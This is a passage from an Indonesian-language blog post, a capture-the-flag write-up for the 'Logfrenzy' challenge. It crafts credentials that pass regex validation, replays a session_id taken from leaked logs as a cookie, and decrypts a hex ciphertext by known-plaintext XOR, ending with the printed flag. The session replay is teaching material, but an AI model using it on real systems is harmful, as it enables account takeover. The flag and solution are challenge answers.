https:&#47;&#47;logfrenzy.siber-tech.web.id
Flag: bhitech{...}

#ChallengeAccepted #LogLife #CTF #Bhitech</code></pre>



<p>Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="506" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png" alt="" class="wp-image-354" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-768x380.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1536x760.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348.png 1854w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita masuk pada halaman login terdapat 2 form input yaitu username dan password </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="270" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png" alt="" class="wp-image-355" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1536x405.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426.png 1636w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dimana jika view source pada HTML code terdapat regex dari username dan password jadi kita diminta untuk melakukan bypass dan memecahkan validasi regex tersebut.</p>



<pre class="wp-block-code"><code>username regex:
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])&#91;A-Za-z0-9!@#$%^&amp;*]{12,20}$  

password regex: 
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])(?!.*(\d)\1{2,})(?!.*(&#91;A-Za-z0-9])\2{2,})&#91;A-Za-z0-9!@#$%^&amp;*]{20,30}$</code></pre>



<p>Jika kita memahami regex sangat mudah untuk memecahkan pattern dari validasi tersebut, pada regex username terdapat pola dimana kita harus menginputkan character mulai dari huruf besar, kecil, angka dan special character hingga 12 sampai 20 dan pada password meminta hingga 20 sampai 30 character.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="392" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png" alt="" class="wp-image-356" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-300x115.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-768x294.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1536x589.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100.png 1811w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Mulai analysis manual menggunakan webtools <a href="https://regex101.com/">https://regex101.com/</a> dan lakukan matching pada pattern regex disini kita inputkan dengan <strong><em>Bhitech!@123</em></strong> dan terlihat matching ya selanjutnya kita analysis pada bagian password</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="498" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png" alt="" class="wp-image-357" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-300x146.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-768x373.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1536x747.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356.png 1862w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada password kita juga memiliki pattern yang cocok menggunakan string <em><strong>Bhitech123!A@testing</strong></em> jadi kita sudah menemukan username dan password</p>



<p>user: <strong><em>Bhitech!@123</em></strong></p>



<p>pass: <em><strong>Bhitech123!A@testing</strong></em></p>



<p>Jadi kita bisa lanjut untuk login..</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="493" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png" alt="" class="wp-image-359" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-300x144.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-768x370.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1536x739.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730.png 1762w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan kita berhasil masuk dashboard, dan pada tampilan dashboard terdapat 3 list menu dan kita diminta untuk mendownload file log</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="868" height="463" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png" alt="" class="wp-image-360" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png 868w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-768x410.png 768w" sizes="auto, (max-width: 868px) 100vw, 868px" /></figure>



<p> Pada access log di file pertama tidak ada yang menarik hanya akses log dan menampilkan request path dari client jadi kita lanjut yang kedua</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png" alt="" class="wp-image-361" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201.png 1324w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada file error log kedua juga tidak ada hint atau clue jadi kita skip dan lanjut pada file user action yang ketiga </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="308" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png" alt="" class="wp-image-362" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-768x231.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312.png 1202w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan disini menarik jadi pada file ketiga ini berisi log action user yang sudah login dan terdapat name cookie dari object User Action dimana berisi key session_id dan value semacam unique number. </p>



<p>Kemungkinan ini merupakan suatu valid session dari user sebelumnya karena dari key objectnya menunjukkan cookie jadi kita masukkan cookie dengan name session_id dan memilih acak salah satu value</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="450" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png" alt="" class="wp-image-363" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-300x132.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-768x337.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1536x675.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942.png 1707w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Benar saja setelah input cookies, pada header website menampilkan suatu pesan yang dimana disana kita menemukan suatu cipher text </p>



<pre class="wp-block-code"><code>Kode rahasia:

3a273b1f001a3034070509163b24610f3a29183c211c550b3c101d0d3a2d692261342649363e2758175836282f

Petunjuk XOR:

Ingat, jika A ^ B = C, maka C ^ A = B! 
Semoga ini membantu!

Format flag: bhitech{...}</code></pre>



<p>Dan kita juga disuguhkan suatu petunjuk terkait dengan XOR. jadi XOR itu merupakan operasi cryptography ya dimana jika 1 ^ 1 = 0 maka 1 ^ 0 =1 atau gampangnya jika bilangan yang di XOR itu sama contoh 1 ^ 1 = 0 atau 0 ^ 0 = 0 dan sebaliknya jika bilangan berbeda maka hasilnya 1</p>



<p>Bisa asumsikan disini kita mempunyai ciphertext tapi tidak mempunyai key jadi rumusnya:</p>



<pre class="wp-block-code"><code>flag ^ key = ciphertext(kita punya)

jika

cipher ^ key = flag(kita belum punya)

disini kita membutuhkan key dimana kita sudah tau sebagian dari format flag yaitu bhitech{} jadi jika 

cipher ^ flag(sebagian) = key 

jadi kita perlu lakukan XOR dengan sebagian flag untuk mendapatkan key sehingga kita bisa melakukan decrypting pada ciphertext </code></pre>



<p>ada 2 cara ya kita bisa menggunakan webtools maupun membuat suatu program sendiri menggunakan python. Simplenya kita bisa menggunakan webtools dari cyberchef <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="442" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png" alt="" class="wp-image-364" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-768x332.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1536x663.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654.png 1880w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pertama kita convert dulu dari hex karena ciphertext disana di encode menggunakan hexadecimal lalu kedua kita pilih XOR</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png" alt="" class="wp-image-366" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-768x346.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1536x692.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat ya saat kita input bhitech(6 character) sebagian output menampilkan <em><strong>XORkey</strong></em>(6 character) karena kita menginput 6 character jadi hasil yang diambil juga 6 character yang dimana kita berhasil mendapatkan suatu key yaitu <em><strong>XORkey</strong></em> dan jika masukkan key yang valid</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png" alt="" class="wp-image-367" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119.png 1888w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Maka outputnya akan menampilkan flag yang benar atau bisa juga kita membuat simple program menggunakan python</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="281" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png" alt="" class="wp-image-368" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-300x82.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-768x210.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741.png 1230w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan jika kita run</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="601" height="148" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png" alt="" class="wp-image-371" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png 601w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820-300x74.png 300w" sizes="auto, (max-width: 601px) 100vw, 601px" /></figure>



<p>Flag: bhitech{Unlock3d_P@ssw0rd_Of_T1m3_C0nqu3r!ng}</p>



<p>Cukup sekian semoga bermanfaat, keep learning and exploring </p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
